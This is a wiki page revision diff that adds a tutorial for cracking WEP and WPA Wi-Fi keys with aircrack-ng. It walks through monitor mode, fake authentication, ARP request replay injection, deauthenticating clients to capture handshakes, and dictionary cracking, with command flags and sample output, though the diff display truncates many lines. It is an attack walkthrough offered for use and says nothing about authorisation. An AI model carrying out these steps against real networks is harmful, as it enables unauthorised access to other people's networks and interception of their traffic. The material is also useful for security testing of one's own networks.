slackware:packet_injection
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| slackware:packet_injection [2011/06/21 23:26] – slack | slackware:packet_injection [2019/11/07 17:58] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 45: | Line 45: | ||
| </ | </ | ||
| - | Now you should be able to follow the entire [[http:// | + | ====== Cracking WEP ====== |
| + | |||
| + | Now you should be able to follow the entire [[http:// | ||
| + | |||
| + | ===== 1. Put your card into monitor mode. ===== | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | </ | ||
| + | |||
| + | The system will respond: | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | |||
| + | | ||
| + | | ||
| + | </ | ||
| + | |||
| + | ===== 2. Find a network. ===== | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | |||
| + | Where: | ||
| + | |||
| + | -9 means injection test | ||
| + | -e teddy is the wireless network name | ||
| + | -a 00: | ||
| + | ath0 is the wireless interface name | ||
| + | </ | ||
| + | |||
| + | The system should respond with: | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | |||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | </ | ||
| + | |||
| + | ===== 3. Terminal 2: Start airodump-ng to capture IVs ===== | ||
| + | |||
| + | Open another console session to capture the generated IVs. Then enter: | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | |||
| + | Where: | ||
| + | |||
| + | -c 9 is the channel for the wireless network | ||
| + | --bssid 00: | ||
| + | -w capture is file name prefix for the file which will contain the IVs. | ||
| + | ath0 is the interface name. | ||
| + | </ | ||
| + | |||
| + | While the injection is taking place (later), the screen will look similar to this: | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | |||
| + | | ||
| + | |||
| + | | ||
| + | |||
| + | | ||
| + | |||
| + | | ||
| + | </ | ||
| + | |||
| + | ===== 4. Terminal 1: use aireplay-ng to do fake authentication with the AP ===== | ||
| + | |||
| + | In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets. | ||
| + | |||
| + | The lack of association with the access point is the single biggest reason why injection fails. Remember the golden rule: The MAC you use for injection must be associated with the AP by either using fake authentication or using a MAC from an already-associated client. | ||
| + | |||
| + | To associate with an access point, use fake authentication: | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | |||
| + | Where: | ||
| + | |||
| + | -1 means fake authentication | ||
| + | 0 reassociation timing in seconds | ||
| + | -e teddy is the wireless network name | ||
| + | -a 00: | ||
| + | -h 00: | ||
| + | ath0 is the wireless interface name | ||
| + | </ | ||
| + | |||
| + | Success looks like: | ||
| + | |||
| + | <code bash> | ||
| + | 18: | ||
| + | 18: | ||
| + | 18: | ||
| + | 18: | ||
| + | </ | ||
| + | |||
| + | ===== 5. Start aireplay-ng in ARP request replay mode (terminal 1 again) ===== | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | </ | ||
| + | |||
| + | It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it. See the Generating ARPs section for tricks on generating ARPs if your screen says “got 0 ARP requests” after waiting a long time. | ||
| + | |||
| + | Here is what the screen looks like when ARP requests are being injected: | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | You should also start airodump-ng to capture replies. | ||
| + | Read 629399 packets (got 316283 ARP requests), sent 210955 packets... | ||
| + | </ | ||
| + | |||
| + | You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The ”#/s” should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 500/ | ||
| + | |||
| + | ===== 6. Terminal 3: Run aircrack-ng to obtain the WEP key ===== | ||
| + | |||
| + | The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps. | ||
| + | |||
| + | Start another console session and enter: | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | |||
| + | Where: | ||
| + | |||
| + | -b 00: | ||
| + | output*.cap selects all files starting with “output” and ending in ”.cap”. | ||
| + | </ | ||
| + | |||
| + | You will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key. | ||
| + | |||
| + | Here is what success looks like: | ||
| + | |||
| + | <code bash> | ||
| + | Aircrack-ng 0.9 | ||
| + | |||
| + | |||
| + | [00:03:06] Tested 674449 keys (got 96610 IVs) | ||
| + | |||
| + | | ||
| + | 0 0/ 9 | ||
| + | 1 0/ 8 | ||
| + | 2 0/ 2 | ||
| + | 3 1/ 5 | ||
| + | |||
| + | KEY FOUND! [ 12: | ||
| + | Probability: | ||
| + | </ | ||
| + | |||
| + | ====== Cracking WPA ====== | ||
| + | |||
| + | ===== 1. Put the Wireless Interface into Monitor Mode ===== | ||
| + | |||
| + | <code bash> | ||
| + | airmon-ng start wlan0 9 | ||
| + | </ | ||
| + | |||
| + | Final number is the channel. | ||
| + | |||
| + | ===== 2. Listen for a Handshake ===== | ||
| + | |||
| + | The handshake is the only interesting and useful part of communication between AP and client. | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | </ | ||
| + | |||
| + | Where: | ||
| + | * -c 9 is the channel for the wireless network | ||
| + | * --bssid 00: | ||
| + | * -w psk is the file name prefix for the file which will contain the IVs. | ||
| + | * mon0 is the interface name. | ||
| + | |||
| + | Success looks like this -- notice the "WPA handshake: | ||
| + | |||
| + | <code bash> | ||
| + | CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00: | ||
| + | |||
| + | BSSID PWR RXQ Beacons | ||
| + | |||
| + | 00: | ||
| + | |||
| + | BSSID STATION | ||
| + | |||
| + | 00: | ||
| + | </ | ||
| + | |||
| + | ===== 3. (if necessary) Deauthenticate a client to capture a handshake ===== | ||
| + | |||
| + | You can just wait for a handshake, but if there' | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | </ | ||
| + | |||
| + | Where: | ||
| + | * -0 means deauthentication | ||
| + | * 1 is the number of deauths to send (you can send multiple if you wish) | ||
| + | * -a 00: | ||
| + | * -c 00: | ||
| + | * ath0 is the interface name | ||
| + | |||
| + | ===== 4. Crack the pre-shared key ===== | ||
| + | |||
| + | <code bash> | ||
| + | aircrack-ng -w password.lst -b 00: | ||
| + | </ | ||
| + | |||
| + | Where: | ||
| + | * -w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory. | ||
| + | * *.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files. | ||
slackware/packet_injection.1308698801.txt.gz · Last modified: 2019/11/07 17:58 (external edit)